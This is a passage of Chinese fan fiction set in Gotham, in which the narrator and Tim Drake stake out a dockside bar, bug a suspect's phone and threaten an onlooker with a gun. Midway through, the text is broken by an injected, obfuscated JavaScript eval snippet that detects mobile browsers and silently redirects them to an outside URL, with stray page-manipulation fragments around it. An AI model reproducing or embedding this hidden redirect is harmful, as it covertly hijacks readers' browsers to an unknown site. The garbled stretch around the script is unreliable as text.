事后觉得单方面的位置共享太奇怪了,这样你不就和这个蝙蝠侠私生粉没什么区别了吗?于是才改成双向的。 结果因为AI一直在你这,那些小时候写的协议自然没有派上用场过,被你顺理成章地忘记了,直到提姆今天没报什么希望地随口一问。 因为有这条协议在,AI在向他透露你的位置时甚至不需要提前征求你的意见。 “收到,女士。” 提姆只是笑:“你知道就算这样,我事后还是可以再开启这个协议吧?” 毕竟他拥有着和你同样的权限。 “就你话多。” 你板着一张脸,手中拿着另一个崭新的口罩,一只手掐住他的下巴强迫他在你面前低下头,而后动作算不得温柔地将口罩给他戴上。 他没有动作,只是乖乖垂下眼看着你,睫毛在眼底投下一小片阴影,像是飞鸟落在海面上的倒影。直到你松开手后,他才坐直身体,抬起手背蹭了蹭被你指甲不小心刮出来的红痕,又将口罩向上提了提。 你还有点不放心:“既然你非要跟上来,待会别随便开口。有人和你搭讪别理,杯子里的东西也不要喝,看到奇怪的,呃——” 你卡了一下。 说实话在哥谭这个地方还真有点不好定义奇怪这个词。你上次和红头罩交易的时候还在酒吧里看到脑袋上顶着把刀的人在喝酒,也没见其他人有觉得多奇怪的样子。 这座城市的包容性还是太强了点。 “总之就是不闻不问不搭理!明白了吗?” 你再三强调。 提姆隔着口罩闷闷应了一声。 见他应该是真的听进去了,你才从堤坝上跳下来,拽着他的手腕走进酒馆。 12. 第 12 章 1 开在码头附近的酒馆自然不是上城区那种放着舒缓音乐氛围宁静的地方,甚至比上次你去的东区酒吧环境还要差不少。都不需要进门,你就可以闻到那股海腥味和浓重的汗液混合在一起,在劣质酒水的包围下组合出来的味道,简直堪比生化武器。 酒馆中人不少,附近码头负责卸货的工人有空了就会来点上一杯最便宜的大杯啤酒,哪怕你们进来的时候正是卸货的时候,依然有三三两两穿着工作服的人坐在里面。 你出门前特意换过衣服,与哥谭市那些无父无母只能自己养活自己的青少年没什么区别,戴顶棒球帽遮住显眼的发色就可以无差别融入其中。 唯一的问题出在提姆身上。 韦恩家的管家品味在线,为他购置的衣物哪怕看不出来是什么牌子的,但是单从布料和剪裁上就能看出其昂贵的价格,出现在这种地方和一个五百万瓦的碳弧灯一样闪闪发亮。 几乎是在你们踏进酒馆的下一秒,就有人的目光落在你们身上。 你无声地咂了下舌,改抓为勾,抬起手臂勾住提姆的脖子,一下给他压得踉跄了两步,因为身高差被迫微微弓着腰靠向你这边。你凶巴巴地将那些人挨个瞪回去,像个胁迫了富家少爷的街头混混一样,大摇大摆勾着提姆往角落的卡座走去。 他配合着你的步伐往那边走,乖巧听话得宛若真被你威胁了一样。 然而他埋在你肩膀上的脑袋在微微抖动着,憋笑的气音和他的呼吸一同喷洒在你的颈侧。 如果不是情况不允许,你怀疑他真的会笑出声来。 ……可恶的提摩西!也不想想你为什么需要这么做!如果只有你一个人来的话,才不需要这么小心翼翼地演戏! 你的手默默从他肩膀上滑下来,落到他的腰间,紧接着就掐住他的侧腰狠狠一拧。 抖动的弧度瞬间停止。 直到你们在卡座坐下,随意点上两杯啤酒后,他才终于从你的肩膀上抬起头。 露在外面的蓝眼睛有点湿润,不知道是憋笑憋的还是被你掐的。他清清嗓子咳嗽一声,那双湿漉漉的眼睛在酒馆昏暗的灯光下发着光。 “说真的卡莉,难道你就没有体面点的糊弄方式吗?” 他声音压得很低,配合着此刻紧紧挨着你落座的姿势,仿佛像是在你耳边喃喃低语。 “有啊。”你呵呵一笑,“我回去换身西装来。” “够体面了吗?” 他在你的眼刀下识相收声,你这才从背包里摸出自己的工具。AI识别到的嫌疑人侧对你们坐在前方的吧台边,事实上你在瞪那些人的时候就已经不着痕迹地打量过他。 失望,这是你的第一想法。 哪怕不用瑞德提醒,你也知道你要找的并不是这个人。 尽管码头工作的风吹日晒让他看上去比同龄人年长不少,但他对于当年BAU对“雨夜”的侧写来说依旧还是太年轻了。 失望归失望,你总不能白来一趟。哪怕对方不是你要找的人,至少也能从他身上挖点线索出来。 提姆看着你掏出手机一顿狂点,手速快得像是在弹奏野蜂飞舞的进阶版——马蜂狂舞。紧接着你重重地叹一口气,眉头也皱了起来。 他的手指在啤酒杯杯柄上摩拭着。 表面的白色泡沫在缓缓消退,只剩下一杯不到三分之二的掺水啤酒。哪怕没有你的提醒,他也不会随便碰这里入口的东西。 可惜你太过专注,甚至都没注意到他的不同寻常之处。 就算是你在踏进酒馆的时候也迟疑了一瞬,他却没有露出任何排斥与不适应的迹象。 酒馆正中间爆发出一阵粗鲁的大笑。 有带着明晃晃打量的下流目光从那边扫过来。 提姆也想跟着你在内心叹气了。他低下头再度将脑袋放到你的肩膀上,高出你不少的身高让这个姿势透出诡异的大鸟依人感,离远了只能看到他遮住你大半个身子。 他没什么肉的下巴硌着你的肩膀,不疼,就是感觉很奇怪。 你忙着看屏幕上的东西,只是随意抬起手在他的头顶一通乱摸,敷衍的手法和摸楼下的那只边牧没什么区别,给他的头发都揉得翘起来两搓。 和AI确认过定位和窃听程序都在对方的手机中正常运行后,你一把收起手机,猛地起身。 ——没起来,和提姆撞了个正着。 两个人不约而同地发出撞击后的呼痛声,区别只是分贝大小。 你边小心翼翼揉着自己的肩膀,边发出“嘶嘶”的倒吸冷气声,只感觉自己的锁骨都要被撞断了。 痛意消退点后你才看向提姆。 他捂着下巴,没说话。 口罩遮住了他的表情,你只能看到那双眼睛里这次是真确地泛起了泪花。想想自己刚才起身的力度,你心虚得连头顶不存在的耳朵都要压成飞机耳了。 刚才想要说的话也被你默默吞了回去。 好吧,不管他是什么时候把脑袋压在你的肩膀上的,他都是那个在这次碰撞中明显受伤更重的人。 “先出去再说。” 你伸手将提姆从卡座上拉起来,匆匆穿过酒馆中央聚众拼酒的人。走到一半,看也没看就随手抄起旁边桌上的酒瓶。 “嘭——” 玻璃酒瓶在某个长相毫无特色的男人脑袋上炸开,碎玻璃扎得他满头是血,剩余的酒液混着鲜血从他头发上滴下来,将那因疼痛和愤怒而扭曲的五官衬得如同恶鬼。 酒馆蓦地一静,有人想要起身。 “你他妈——” 男人的脏话尚未说完,一把□□滑出你的袖口。 子弹挣脱膛线,险而又险地擦过男人的耳朵,子弹与空气摩擦带起的灼热与气压让他发出一声惨叫,一道新鲜出炉的撕裂伤令他捂住耳朵不敢再吱声。 你冷笑着收回手枪,对着一脸惊恐的男人竖起中指。 “刚才在用你的狗眼睛打量些什么呢?不知道别人的人不能随便乱看?” 短暂的安静后,嘈杂重新充满酒馆,人群挪开视线,仿佛什么都没发生一样继续畅饮高声闲聊。 准备起身的人又坐了回去。 2< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502779|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 重新走到开阔的堤坝边,你才摁着提姆的肩膀让他坐下。 刚才在酒馆爆发冲突的时候他没说话,一路走过来他也没说话。你已经在怀疑自己那一撞是不是给他撞出什么毛病,不然好好一孩子怎么突然哑巴了? “提姆,你还好吗?需不需要去医院看看?” 提姆摘下口罩,神情难得地有点郁闷。他张开嘴又合上,最后选择掏出手机打字。 【咬到舌头了。你要办的事情办完了?】 怪不得从酒馆里开始就没说话。 见你点头回答了后面的问题,他收回手机,清空那行话,又开始飞快地打字。这次用的时间久了点,让你开始觉得不妙起来。 手机屏幕被递到你面前。 【卡莉,老实说你是不是故意的?你都能注意到那个人在打量我,为什么会在起身的时候没反应过来我的脑袋正压在你的肩膀上?】 你只能默默转过脸,看天看地看海就是不去看他幽怨的眼睛。 那能一样吗? 那种带着恶意的目光扫过来时和针扎没什么区别,一秒就能触发你的防御机制,不立马反击都能算是你有耐心了。但是谁会警惕边牧探过来的毛绒绒大脑袋? 提姆捧住你的脸,动作缓慢但坚定地将你的脑袋扭回来。 他什么也没说,只是对着你张开嘴,那露出来的一小截舌尖上还带着血丝。 小小一个动作打出双倍的终极技暴击,瞬间清空你的反抗条。 你举手投降,垂头丧气地向提姆认输。 “我的错,接下来你想怎么跟着我都行,可以吗?我保证后面什么都不说,也不嫌弃你橡皮糖一样的行为。虽然我还是得补充一句这种形影不离真的有点奇怪,提米。” 提姆脸上终于露出满意的笑容。 你心知肚明自己又被这只黑心边牧给下套了,可你确实理亏。从小到大都这样,当提姆表现出生气的迹象时,回过神你就发现自己莫名其妙签订了许多不平等条约,简直像被精神控制了一样。 哪怕他是装的生气,你也没辙。 你只能嘟嘟囔囔着接过他从包里翻出来的应急处理医药包,掏出止血药粉抖在他的伤口上。 没什么帮别人处理伤口的经验,一不小心就抖多了那么一点。 药粉苦得提姆的五官也扭曲了一瞬,他含着药粉含糊不清地开口。 “这次你绝对是故意的,卡莉。” 你坚决否认:“不是!” 他哼哼两声没继续和你争辩这种问题,等到适应那股苦涩后,药物清凉阵痛的效果就显现出来。 其实他咬的并不算重,义警的反应力在那里摆着。尽管没有第一时间躲开你起身的动作,后面也有成功避开给自己造成更重伤口的可能性。 只有你看不出伤口的严重性,他一说就信了。 唔——不对,甚至他还什么都没说。 提姆拍拍衣服站起身:“走吧,卡莉。” “去哪里?” 提姆微笑:“当然是像鬼一样跟着你了。”